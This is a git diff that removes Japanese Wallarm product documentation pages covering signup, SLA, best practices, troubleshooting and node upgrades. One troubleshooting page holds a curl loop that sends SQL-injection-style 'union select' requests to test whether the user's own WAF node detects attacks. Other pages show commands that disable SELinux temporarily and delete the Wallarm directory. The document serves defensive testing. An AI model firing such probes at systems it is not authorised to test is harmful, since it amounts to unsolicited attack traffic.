セルフサインアップとSecurity Edge Free Tier - -Wallarmにサインアップすると、Wallarmプラットフォームのナビゲーションと設定の中枢となるWallarm Consoleにアカウントを作成します。Console UIは[Wallarm Cloud](../about-wallarm/overview.md#cloud)上でホストされています。 - -新規アカウントはすべて自動的に[Security Edge Free Tier](../about-wallarm/subscription-plans.md#security-edge-free-tier)に登録され、月あたり50万件のリクエストを無料で利用できます。 - -1. 使用するWallarm Cloudを選択してください: - - || US Cloud | EU Cloud | - | -- | -------- | -------- | - | **Signup link** | https://us1.my.wallarm.com/signup | https://my.wallarm.com/signup | - | **Physical location** | USA | Netherlands | - | **Wallarm Console URL** | https://us1.my.wallarm.com/ | https://my.wallarm.com/ | - | **Wallarm API Endpoint** | `https://us1.api.wallarm.com/` | `https://api.wallarm.com/` | -1. サインアップリンクに進み、個人情報を入力してください。 -1. 無料でトラフィック分析を開始するために、[Security Edge InlineまたはConnectors](../installation/security-edge/free-tier.md)を設定してください: - - ![!](../images/waf-installation/security-edge/onboarding-wizard.png) - -## デプロイ不要でAPIを把握する - -監視されていない、またはドキュメント化されていないAPIは悪意ある攻撃の侵入経路になり得るため、組織の外部APIの全リストを把握することが、潜在的なセキュリティリスクを軽減するための第一歩です。 - -Wallarmの[API Attack Surface Management (AASM)](../api-attack-surface/overview.md)を購読すると、外部ホストとそのAPIを即座に可視化でき、次の情報を得られます: - -* 外部ホストの一覧。 -* ホストの保護スコア - Wallarmが検出したサブドメイン/ホストに対して、WebおよびAPIサービスへの攻撃に対する耐性を自動テストし、保護レベルを評価します。 -* ホストに関する漏えい認証情報 - 選択したドメインおよび公開ソースを対象に、認証情報（APIトークンやキー、パスワード、クライアントシークレット、ユーザー名、メールアドレスなど）の漏えいをWallarmが積極的にスキャンします。 - -これらは、Wallarm内の該当コンポーネントを購読するだけで利用できます。情報を取得するために、何かをデプロイする必要はありません。 - -開始するには、次のいずれかを実行してください: - -* [sales@wallarm.com](mailto:sales@wallarm.com)に連絡する、または -* 料金情報を確認し、Wallarmの公式サイト[こちら](https://www.wallarm.com/product/aasm)でAASMを有効化します。 - -## ガイド付きトライアル - -オンボーディング全体を当社のセールスエンジニアチームが支援するガイド付きトライアルを選択できます。2週間にわたり製品の価値をご紹介し、トラフィックをフィルタリングするためのWallarm filtering instancesのデプロイを支援します。 - -このトライアルをご希望の場合は、[sales@wallarm.com](mailto:sales@wallarm.com?subject=Request%20for%20a%20Guided%20Wallarm%20Trial&body=Hello%20Wallarm%20Sales%20Engineer%20Team%2C%0A%0AI'm%20writing%20to%20request%20a%20guided%20Wallarm%20trial.%20I%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0A%0AThank%20you%20for%20your%20time%20and%20assistance.)までメールでご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/reference/comparing-wallarm-to-other-solutions.md b/docs/latest-ja/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 1b77180b1d..0000000000 --- a/docs/latest-ja/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/latest-ja/sla.md b/docs/latest-ja/sla.md deleted file mode 100644 index 04338f2fd5..0000000000 --- a/docs/latest-ja/sla.md +++ /dev/null @@ -1,49 +0,0 @@ -# Wallarmのサービスレベルアグリーメント（SLA） - -本記事では、Wallarmのサービスレベルに関する事項として、サービスの可用性（稼働率）、想定される問題の分類とそれぞれの応答・解決時間について説明します。クライアントのコンテキストへの[強い依存](#normal-functioning-characteristics)があるため、通常の動作特性は本SLAには記載していません。 - -## 一般事項 - -Wallarmは、各暦月においてサービスを少なくとも99.95%の可用性で提供できるよう、商業的に合理的な努力を行います。 - -## 問題の分類 - -以下は、Wallarmのサービスで発生し得る問題の分類と優先度の定義です。 - -| 優先度レベル | 問題の分類 | 説明 | -| ------- | ------- | ------- | -| 1 | 緊急 | サービスが完全に利用不能である、またはパフォーマンスが著しく低下してサービスを使用できない状態です。 | -| 2 | 高 | サービスの主要な機能が利用不能で、機能が制限される、または多数の認可されたユーザーに影響が及ぶ状態です。 | -| 3 | 中 | サービスの機能に深刻な影響を与えない範囲で、機能またはリソースの一部が失われている状態です。 | -| 4 | 低 | その他すべてのサービスリクエスト（一般的な使用方法に関する質問や機能拡張の要望など）です。 | - -Wallarmサポートチームへは任意の連絡チャネルでお問い合わせでき、その際にリクエストの優先度を設定できます。例えば、[Customer Portal](https://wallarm.atlassian.net/servicedesk/customer/portal/5)で新しいサービスリクエストを作成する際に**Priority**フィールドを設定します。設定した優先度は、[Wallarmサポートのエスカレーションおよびインシデントプロセス](https://wallarm.atlassian.net/servicedesk/customer/portal/5/article/4319051777)の一環として、サポートチームまたはお客様が変更できます。 - -## 応答および解決時間 - -問題が発生した場合のWallarmのサービスレベルは次のとおりです。 - -| 問題の分類 | 初回応答‍（オフピーク時） | 解決/‍緩和 | ステータス更新 | -| ------- | ------- | ------- | ------- | -| 緊急 | 2時間 | 4時間 | 30分ごと | -| 高 | 3時間 | 24時間 | 4時間ごと | -| 中 | 12時間 | [次回の予定リリース](updating-migrating/versioning-policy.md) | 毎週 | -| 低 | 36時間 | 四半期ごと | 月2回 | - -ステータス更新は、[Customer Portal](https://wallarm.atlassian.net/servicedesk/customer/portal/5)で起票されたサービスリクエストへのコメントとして提供され、新しいコメントまたは変更のたびにメール/Slack通知が送信されます。すべてのサービスリクエストはCustomer Portalのプロフィールに一覧表示されます。 - -## 通常の動作特性 - -Wallarmのサービスの可用性と速度、および[責任分担](about-wallarm/shared-responsibility.md)は、特定のクライアントコンテキストに関連する複数の要因に強く依存し、クライアントごとに異なります。これらの要因には、以下が含まれますが、これらに限定されません。 - -* クライアントのネットワークインフラストラクチャ、構成および接続性 -* 選択したWallarmの[デプロイ形態](about-wallarm/overview.md#where-wallarm-works) -* 選択したWallarmのデプロイオプション：[Security Edge](installation/security-edge/overview.md)、[セルフホスト型](installation/supported-deployment-options.md)または[Connector](installation/connectors/overview.md) -* 有効化しているWallarmの[コンポーネントと機能](about-wallarm/overview.md) -* トラフィック量、特性、強度 - -以上の理由から、通常の動作特性については本SLAで具体的な数値を記載していません。 - -## 詳細情報 - -詳細および関連情報は、Wallarm公式サイトの[サービスレベルアグリーメント](https://www.wallarm.com/service-level-agreement)ページで参照できます。 \ No newline at end of file diff --git a/docs/latest-ja/technical-best-practices-for-future.md b/docs/latest-ja/technical-best-practices-for-future.md deleted file mode 100644 index c273964c08..0000000000 --- a/docs/latest-ja/technical-best-practices-for-future.md +++ /dev/null @@ -1,30 +0,0 @@ -# Wallarmソリューションのデプロイおよび運用保守に関するベストプラクティス - -本記事では、Wallarmソリューションのデプロイおよび運用保守に関するベストプラクティスを示します。 - -## フィルタリングノードは本番環境だけでなくテストやステージングにもデプロイします - 技術的ベストプラクティス - -多くのWallarmサービス契約では、お客様がデプロイできるWallarmノードの数に制限はありません。そのため、開発・テスト・ステージングなど、あらゆる環境にフィルタリングノードをデプロイしない理由はありません。 - -ソフトウェア開発やサービス運用の全段階でフィルタリングノードをデプロイして使用することで、データフロー全体を適切にテストでき、重要な本番環境での予期しない事態のリスクを最小化できます。 - -## エンドユーザーのIPアドレスを正確に報告するよう設定します - 技術的ベストプラクティス、かつこの項目へのリンクはすべてのデプロイ手順に含めます - -ロードバランサーやCDNの背後にあるWallarmフィルタリングノードについては、エンドユーザーのIPアドレスを正確に報告するようノードを必ず設定してください（そうしないと、[IPリスト機能](user-guides/ip-lists/overview.md)、[Threat Replay Testing](detecting-vulnerabilities.md#threat-replay-testing)など一部の機能が動作しません）: - -* [NGINXベースのWallarmノード向け手順](../admin-en/using-proxy-or-balancer-en.md)（AWS / GCPイメージおよびDockerノードコンテナを含みます） -* [Wallarm Kubernetes Ingress controllerとしてデプロイされたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## フィルタリングノードの適切な監視を有効化します - 監視手順にも技術的ベストプラクティスにも反映します - -Wallarmフィルタリングノードの適切な監視を有効化することを強く推奨します。フィルタリングノードの監視の設定方法は、デプロイ方式によって異なります: - -* [Wallarm Kubernetes Ingress controllerとしてデプロイされたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [NGINXベースのDockerイメージ向け手順](../admin-en/installation-docker-en.md#monitoring-configuration) - -## 適切な冗長化と自動フェイルオーバー機能を実装します - -本番環境の他の重要なコンポーネントと同様に、Wallarmノードは適切な冗長化および自動フェイルオーバーのレベルを考慮して設計・デプロイ・運用してください。重要なエンドユーザーリクエストを処理する**アクティブなWallarmフィルタリングノードを少なくとも2台**用意する必要があります。以下の記事に関連情報があります: - -* [NGINXベースのWallarmノード向け手順](../admin-en/configure-backup-en.md)（AWS / GCPイメージ、Dockerノードコンテナ、Kubernetesサイドカーを含みます） -* [Wallarm Kubernetes Ingress controllerとしてデプロイされたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) \ No newline at end of file diff --git a/docs/latest-ja/troubleshooting/detection-and-blocking.md b/docs/latest-ja/troubleshooting/detection-and-blocking.md deleted file mode 100644 index ede3465b05..0000000000 --- a/docs/latest-ja/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1,134 +0,0 @@ -# 攻撃の検知とブロックに関するトラブルシューティング - -## 攻撃が表示されない - -トラフィックからの攻撃がWallarm Cloudにアップロードされず、その結果Wallarm Console UIに表示されないと疑われる場合は、本記事の手順で問題をデバッグしてください。 - -問題をデバッグするには、次の手順を順番に実行します。 - -1. 以降のデバッグのために悪意あるトラフィックを生成します。 -1. フィルタリングノードの動作モードを確認します。 -1. ログを取得し、Wallarmサポートチームと共有します。 - -**悪意あるトラフィックを生成する** - -Wallarmモジュールのさらなるデバッグを行うには次のとおりです。 - -1. 次の悪意あるトラフィックを送信します: - - ```bash - for i in `seq 100`; do curl "http:///?wallarm_test_xxxx=union+select+$i"; sleep 1; done - ``` - - チェックしたいフィルタリングノードのIPアドレスで``を置き換えます。必要に応じて、コマンドに`Host:`ヘッダーを追加します。 -1. Wallarm Console → **Attacks**に攻撃が表示されるまで最長2分待ちます。100件のリクエストすべてが表示される場合、フィルタリングノードは正常に動作しています。 -1. フィルタリングノードがインストールされているサーバーに接続し、[ノードのメトリクス](../admin-en/configure-statistics-service.md)を取得します: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - 以降は、`wallarm-status`の出力を参照します。 - -**フィルタリングノードの動作モードを確認する** - -フィルタリングノードの動作モードは次の要領で確認します。 - -1. フィルタリングノードの[モード](../admin-en/configure-wallarm-mode.md)が`off`ではないことを確認します。`off`モードではノードは受信トラフィックを処理しません。 - - なお、`off`モードは`wallarm-status`の各種メトリクスが増加しない一般的な原因です。 -1. ノードがNGINXベースの場合は、設定が反映されていることを確認するためにNGINXを再起動します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. 攻撃が引き続きWallarm Cloudにアップロードされないことを確認するため、悪意あるトラフィックをもう一度生成します。 - -**ログを取得してWallarmサポートチームと共有する** - -上記の手順で問題が解決しない場合は、次のとおりノードのログを取得し、Wallarmサポートチームと共有してください。 - -1. Wallarmノードがインストールされているサーバーに接続します。 -1. 次のとおり`wallarm-status`の出力を取得します: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - 出力をコピーします。 -1. Wallarmの診断スクリプトを実行します: - - ```bash - /opt/wallarm/collect-info.sh - ``` - - 生成されたログファイルを取得します。 -1. 収集したすべてのデータを[Wallarmサポートチーム](mailto:support@wallarm.com)へ送付して調査を依頼します。 - -## フィルタリングノードのRPSおよびAPSの値がWallarm Cloudへエクスポートされない - -フィルタリングノードのRPS（1秒あたりのリクエスト数）およびAPS（1秒あたりの攻撃数）の情報がWallarm Cloudへエクスポートされない場合、原因としてSELinuxが考えられます。 - -[SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux)はRedHat系Linuxディストリビューション（例: CentOSやAmazon Linux 2.0.2021x以下）ではデフォルトでインストールおよび有効化されています。SELinuxはDebianやUbuntuなど他のLinuxディストリビューションにもインストールできます。 - -SELinuxの有無と状態は次のコマンドで確認します: - -``` bash -sestatus -``` - -フィルタリングノードを搭載したホストでSELinuxが有効な場合、ノードのインストールまたはアップグレード時に、[all-in-oneインストーラー](../installation/inline/compute-instances/linux/all-in-one.md)が自動的に設定を行い、ノードの動作を妨げないようにします。 - -自動設定の後もSeLinuxが原因となり得る問題が続く場合は、次の手順を実施します。 - -1. コマンド`setenforce 0`を実行してSELinuxを一時的に無効化します。 - - SELinuxは次回の再起動まで無効のままです。 - -1. 問題が解消したかを確認します。 -1. 支援が必要な場合は[お問い合わせ](mailto:support@wallarm.com)の上、Wallarmのテクニカルサポートに支援を依頼します。 - - !!! warning "SELinuxの恒久的な無効化は推奨されません" - セキュリティ上の理由から、SELinuxを恒久的に無効化することは推奨されません。 - -## ブロッキングモード（`wallarm_mode block`）で動作しているのにフィルタリングノードが攻撃をブロックしない - -`wallarm_mode`ディレクティブによる設定は、トラフィックのフィルタリングモードを構成する方法のひとつに過ぎません。これらの方法の中には、`wallarm_mode`ディレクティブの値よりも優先順位が高いものがあります。 - -`wallarm_mode block`でブロッキングモードを設定したにもかかわらずWallarmフィルタリングノードが攻撃をブロックしない場合は、他の設定方法でフィルタリングモードが上書きされていないことを確認してください: - -* [ルール **Set filtration mode**](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode)を使用している -* [Wallarm Consoleの**General**セクション](../admin-en/configure-wallarm-mode.md#general-filtration-mode) - -[フィルタリングモードの設定方法の詳細 →](../admin-en/configure-parameters-en.md) - -## 正常なリクエストなのにユーザーにブロッキングページが表示される - -Wallarmの対策にもかかわらず正当なリクエストがブロックされたとユーザーから報告があった場合は、本記事の説明に従ってそのリクエストを確認・評価できます。 - -正当なリクエストがWallarmにブロックされる問題を解決するには、次の手順に従います。 - -1. ユーザーに対し、ブロックされたリクエストに関する情報をスクリーンショットではなくテキストで提供するよう依頼します。次のいずれかを受領します。 - - * Wallarmの[ブロッキングページ](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)を設定している場合は、同ページに表示される情報（ユーザーのIPアドレス、リクエストUUID、その他あらかじめ設定した要素を含む場合があります）。 - - ![Wallarmのブロッキングページ](../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - - !!! warning "ブロッキングページの利用" - 既定またはカスタマイズしたWallarmのブロッキングページを使用していない場合は、ユーザーから適切な情報を得るために[設定](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)することを強く推奨します。サンプルページであっても、ブロックされたリクエストに関する有用な情報を収集し、簡単にコピーできる形で提供することを忘れないでください。さらに、そのページはカスタマイズしたり、完全に作り直して、ユーザーに対して情報量の多いブロックメッセージを返すこともできます。 - - * ユーザーのクライアントリクエストおよびレスポンスのコピー。ブラウザのページソースコードやターミナルクライアントの入出力のテキストが適しています。 - -1. Wallarm Console → [**Attacks**](../user-guides/events/check-attack.md)または[**Incidents**](../user-guides/events/check-incident.md)セクションで、ブロックされたリクエストに関連するイベントを[search](../user-guides/search-and-filters/use-search.md)します。例えば、[search by request ID](../user-guides/search-and-filters/use-search.md#search-by-request-identifier)を実行します: - - ``` - attacks incidents request_id: - ``` - -1. 当該イベントを精査し、誤ったブロックか正当なブロックかを判断します。 -1. 誤ったブロックである場合は、以下の対策を単独または組み合わせて適用して解決します。 - - * [誤検知](../user-guides/events/check-attack.md#false-positives)への対処 - * [rules](../user-guides/rules/rules.md)の再設定 - * [triggers](../user-guides/triggers/triggers.md)の再設定 - * [IP lists](../user-guides/ip-lists/overview.md)の変更 - -1. ユーザーから当初提供された情報が不十分である、または安全に適用できる対策に確信が持てない場合は、詳細を[Wallarmサポート](mailto:support@wallarm.com)と共有し、さらなる支援と調査を依頼します。 \ No newline at end of file diff --git a/docs/latest-ja/troubleshooting/detection-tools-tuning.md b/docs/latest-ja/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 65dc325614..0000000000 --- a/docs/latest-ja/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/latest-ja/troubleshooting/overview.md b/docs/latest-ja/troubleshooting/overview.md deleted file mode 100644 index 7d282eb0ac..0000000000 --- a/docs/latest-ja/troubleshooting/overview.md +++ /dev/null @@ -1,44 +0,0 @@ -# Wallarmのトラブルシューティング - -このセクションでは、Wallarmに関する最も一般的なトラブルシューティング事例を説明し、想定される問題への解決策と、調査や解決に使用できるツールに関する情報を提供します。 - -## ツール - -Wallarmの利用中に問題が発生した場合、次のツールを利用できます: - -* 本ドキュメント（動作のロジックを説明します） -* 本ドキュメント内の**トラブルシューティング**セクション - - !!! info "ドキュメントの使い方" - searchを使用して、AI botに質問し、左側のメニューでトピックを参照してください。 - -* Wallarm[サービスステータスページ](#wallarm-service-status-page) -* Wallarm[フィルタリングノードのログ](../admin-en/configure-logging.md) -* Wallarm[フィルタリングノードの統計情報](../admin-en/configure-statistics-service.md) - -## Wallarmサービスステータスページ {#wallarm-service-status-page} - -Wallarmのステータスページhttps://status.wallarm.comは、各[Wallarm Cloud](../about-wallarm/overview.md#how-wallarm-works)に対して、Wallarm ConsoleおよびWallarm APIサービスの可用性に関するリアルタイムおよび履歴データを表示します: - -![Wallarmステータスページ](../images/status-page.png) - -### ステータス - -* **Degraded performance**は、サービスが稼働しているものの、動作が遅いなど軽微な影響を受けていることを意味します。 -* **Partial outage**は、クライアントの一部に対してサービスが完全に停止していることを意味します。 -* **Major outage**は、サービスが完全に利用できないことを意味します。 - -### 通知 - -はい。更新を購読している場合に通知されます。購読するには、**SUBSCRIBE TO UPDATES**をクリックし、購読チャネルを選択します: - -* **Email**: Wallarmがインシデントを作成、更新、または解決したときの通知を受け取ります。 -* **SMS**: Wallarmがインシデントを作成または解決したときの通知を受け取ります。 -* **Slack**: インシデントの更新およびメンテナンスステータスのメッセージを受け取ります。 -* **Webhook**: Wallarmがインシデントを作成、更新、解決したとき、またはサービスのステータスを変更したときの通知を受け取ります。 - -### インシデントの自動作成 - -サービスにダウンタイムが発生すると、インシデントが作成されます。ダウンタイムに関連するイベントの間は、問題の内容、対応状況、および問題の修正見込み時期を説明するページを追加します。 - -時間の経過とともに、インシデントの原因が特定され、特定された問題が復旧し、インシデントのステータスが最新の状況を反映するように更新されます。 \ No newline at end of file diff --git a/docs/latest-ja/troubleshooting/performance.md b/docs/latest-ja/troubleshooting/performance.md deleted file mode 100644 index 67e98195e0..0000000000 --- a/docs/latest-ja/troubleshooting/performance.md +++ /dev/null @@ -1,60 +0,0 @@ -# パフォーマンスのトラブルシューティング - -## WallarmノードのCPU使用率が高すぎます - -Wallarmの推奨CPU使用率は約10～15%です。これは、フィルタリングノードがトラフィックスパイクを最大10倍まで処理できることを意味します。WallarmノードのCPU使用量が想定より多く、CPU使用率を下げる必要がある場合は、本ガイドを参照してください。 - -最も処理時間が長いリクエスト（ひいては主なCPU消費要因）を把握するには、[拡張ログを有効化](../admin-en/configure-logging.md#configuring-extended-logging-for-the-nginxbased-filter-node)して処理時間を監視します。 - -WallarmによるCPU負荷を下げるには、次の対処が可能です。 - -* NGINXの設定に[`limit_req`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html)を追加します。また、ノード4.6以降ではWallarmの[レート制限](../user-guides/rules/rate-limiting.md)機能を使用します。総当たり攻撃などの場合、この方法がCPU負荷を下げる最良の手段となる可能性があります。 - - ??? info "設定例 - `limit_req`の利用" - - ```bash - http { - map $request_uri $binary_remote_addr_map { - ~^/get $binary_remote_addr; - ~^/post $binary_remote_addr; - ~^/wp-login.php $binary_remote_addr; - } - limit_req_zone $binary_remote_addr_map zone=urls:10m rate=3r/s; - limit_req_zone $binary_remote_addr$request_uri zone=allurl:10m rate=5r/s; - - limit_req_status 444; - - server { - location { - limit_req zone=urls nodelay; - limit_req zone=allurl burst=30; - } - } - } - ``` - -* NGINXとwstoreに適切なメモリが[割り当てられている](../admin-en/configuration-guides/allocate-resources-for-node.md)ことを確認します。 -* [`wallarm_acl_access_phase`](../admin-en/configure-parameters-en.md#wallarm_acl_access_phase)ディレクティブが`on`に設定されていることを確認します。これにより、いずれのフィルタリングモードでも、対象リクエスト内の攻撃兆候を探索せずに、**Denylist**に登録されたIPからのリクエストを即時にブロックします。あわせて、Wallarmの[IP lists](../user-guides/ip-lists/overview.md)を確認し、誤って**Allowlist**に追加したIPや、誤って**Denylist**に追加していないロケーションがないかを確認します。 - - このCPU使用率低減方法により、検索エンジンからのリクエストをスキップしてしまう場合があります。ただし、NGINXの設定で`map`モジュールを使用することで、この問題も解決できます。 - - ??? info "設定例 - 検索エンジン問題の解決に`map`モジュールを使用" - - ```bash - http { - wallarm_acl_access_phase on; - map $http_user_agent $wallarm_mode{ - default monitoring; - ~*(google|bing|yandex|msnbot) off; - } - server { - server_name mos.ru; - wallarm_mode $wallarm_mode; - } - } - ``` - -* [`libdetection`](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)（ノードバージョン4.4以降はデフォルトで有効）を`wallarm_enable_libdetection off`で無効化します。libdetectionを使用するとCPU消費が5～10%増加します。ただし、libdetectionを無効化すると、SQLi攻撃の検知における誤検知が増加する可能性がある点に留意してください。 -* 検知された攻撃の分析中に、リクエストの特定要素に対してWallarmが[ルール内](../user-guides/rules/request-processing.md#managing-parsers)または[NGINXの設定](../admin-en/configure-parameters-en.md#wallarm_parser_disable)を通じて不適切なパーサーを使用していることが判明した場合、該当しない要素については当該パーサーを無効化します。ただし、一般的にパーサーの無効化は推奨しません。 -* [リクエスト処理時間を短縮します](../user-guides/rules/configure-overlimit-res-detection.md)。これを行うことで、正当なリクエストがサーバーに到達しなくなる可能性がある点に注意してください。 -* 潜在的な[DDoS](../admin-en/configuration-guides/protecting-against-ddos.md)の標的を分析し、利用可能な[保護対策](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm)のいずれかを適用します。 \ No newline at end of file diff --git a/docs/latest-ja/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/latest-ja/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index bb2e061736..0000000000 --- a/docs/latest-ja/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/all-in-one.md b/docs/latest-ja/updating-migrating/all-in-one.md deleted file mode 100644 index 2072e84e1a..0000000000 --- a/docs/latest-ja/updating-migrating/all-in-one.md +++ /dev/null @@ -1,42 +0,0 @@ -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal - -# All‑in‑Oneインストーラーを使用したWallarm NGINXノードのアップグレード - -この手順では、[All‑in‑Oneインストーラー](../installation/nginx/all-in-one.md)でインストールしたWallarmノードを最新のバージョン6.xにアップグレードする手順を説明します。 - -!!! info "Wallarmサービスの再インストールが必要です" - 安全にアップグレードするために、新しいマシンに新しいノードをインストールし、トラフィックを新しいマシンにリダイレクトしてから、古いマシンを削除します。 - - 代替案として、現在のマシン上のサービスを停止して削除し、その後ノードを再インストールすることもできます。ただし、この方法ではダウンタイムが発生する可能性があるため、推奨しません。 - - 本記事では、最も安全な移行方法を説明します。 - -## ステップ1: クリーンなマシンに新しいノードバージョンをインストールします - -1. 5.x以前からのアップグレードで、postanalyticsモジュールを別途インストールしている場合は、[Tarantoolからwstoreへの置き換え](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)を反映するように既存の設定をコピーして更新します: - - * フィルタリングノードのマシンでは、/etc/nginx/nginx.confの`http`ブロック内で、`wallarm_tarantool_upstream`を[`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream)に名前を変更します。 - * postanalyticsマシン（カスタムのホストとポートを使用している場合）は、/opt/wallarm/etc/wallarm/node.yamlで、`tarantool`セクションを`wstore`に名前を変更します。 -1. 以下のガイドのいずれかに従って、新しいマシンにノードの最新バージョンを、最新のNGINXと並行してインストールします。各ガイドにはマシンの要件も記載しています。 - - * [同一サーバー上のフィルタリングモジュールとpostanalyticsモジュール](../installation/nginx/all-in-one.md) - 以前の設定ファイルを移行して再利用できます。 - * [別サーバー上のフィルタリングモジュールとpostanalyticsモジュール](../admin-en/installation-postanalytics-en.md) - ステップ1で更新した設定ファイルを使用します。 -1. トラフィックを新しいマシンにルーティングし、新しいノードで処理させます。 - -## ステップ2: 古いノードを削除します - -1. トラフィックが新しいマシンにルーティングされ、Wallarm Cloudに保存されたデータ（ルール、IPリスト）が同期されたら、ルールが期待どおりに動作することを確認するためにいくつかのテスト攻撃を実施します。 -1. Wallarm Console → **Nodes**で対象のノードを選択し、**Delete**をクリックして古いノードを削除します。 -1. 操作を確認します。 - - ノードをWallarm Cloudから削除すると、アプリケーションへのリクエストのフィルタリングは停止します。フィルタリングノードの削除は元に戻せません。ノードはノード一覧から完全に削除されます。 - -1. 古いノードが動作しているマシンを削除するか、Wallarmノードコンポーネントのみを削除してクリーンアップします: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/cloud-image.md b/docs/latest-ja/updating-migrating/cloud-image.md deleted file mode 100644 index 4a0b83e79c..0000000000 --- a/docs/latest-ja/updating-migrating/cloud-image.md +++ /dev/null @@ -1,77 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[memory-instr]: ../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - -# クラウドノードイメージのアップグレード - -この手順では、AWSまたはGCPにデプロイされたクラウドノードイメージを最新の6.xにアップグレードする方法を説明します。 - -サポート終了ノード（3.6以下）をアップグレードするには、[別の手順](older-versions/cloud-image.md)を使用してください。 - -## 要件 - ---8<-- "../include/waf/installation/basic-reqs-for-upgrades.md" - -## 手順1：フィルタリングノード6.xを搭載した新しいインスタンスを起動します - -1. クラウドプラットフォームのマーケットプレイスでWallarmフィルタリングノードのイメージを開き、イメージの起動に進みます。 - * [Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [GCP Marketplace](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. 起動時に、以下の設定を行います。 - - * イメージのバージョン`6.x.x`を選択します - * AWSの場合、フィールド**Security Group Settings**で、[作成済みのセキュリティグループ](../installation/cloud-platforms/aws/ami.md#2-create-a-security-group)を選択します - * AWSの場合、フィールド**Key Pair Settings**で、[作成済みのキーペアの名前](../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys-in-aws)を選択します -3. インスタンスの起動を確定します。 -4. GCPの場合は、これらの[手順](../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance)に従ってインスタンスを構成します。 - -## 手順2：フィルタリングノードをWallarm Cloudに接続します - -1. SSHでフィルタリングノードのインスタンスに接続します。インスタンスへの接続に関する詳細な手順は、各クラウドプラットフォームのドキュメントにあります。 - * [AWSドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [GCPドキュメント](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. 新しいWallarmノードを作成し、生成されたトークンを使用してWallarm Cloudに接続します。手順はクラウドプラットフォームごとに以下を参照してください。 - * [AWS](../installation/cloud-platforms/aws/ami.md#6-connect-the-instance-to-the-wallarm-cloud) - * [GCP](../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - -## 手順3：前のバージョンから新しいバージョンへフィルタリングノードの設定をコピーします - -前のWallarmノードバージョンの以下の設定ファイルから、リクエストの処理およびプロキシの設定をフィルタリングノード6.xのファイルへコピーします。 - -* `/etc/nginx/nginx.conf` およびその他のNGINXの設定ファイル -* フィルタリングノードの監視サービスの設定を含む `/etc/nginx/wallarm-status.conf`（または`/etc/nginx/conf.d/wallarm-status.conf`） -* 環境変数の設定を含む `/etc/environment` -* リクエストの処理やプロキシに関するその他のカスタム設定ファイル（例：`/etc/nginx/sites-available/default`） - -NGINXの設定ファイルに関する詳細情報は、[公式NGINXドキュメント](https://nginx.org/docs/beginners_guide.html)にあります。 - -フィルタリングノードのディレクティブ一覧は[こちら](../admin-en/configure-parameters-en.md)です。 - -## 手順4：NGINXを再起動します - -設定を適用するためにNGINXを再起動します。 - -```bash -sudo systemctl restart nginx -``` - -## 手順5：Wallarmノードの動作をテストします - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 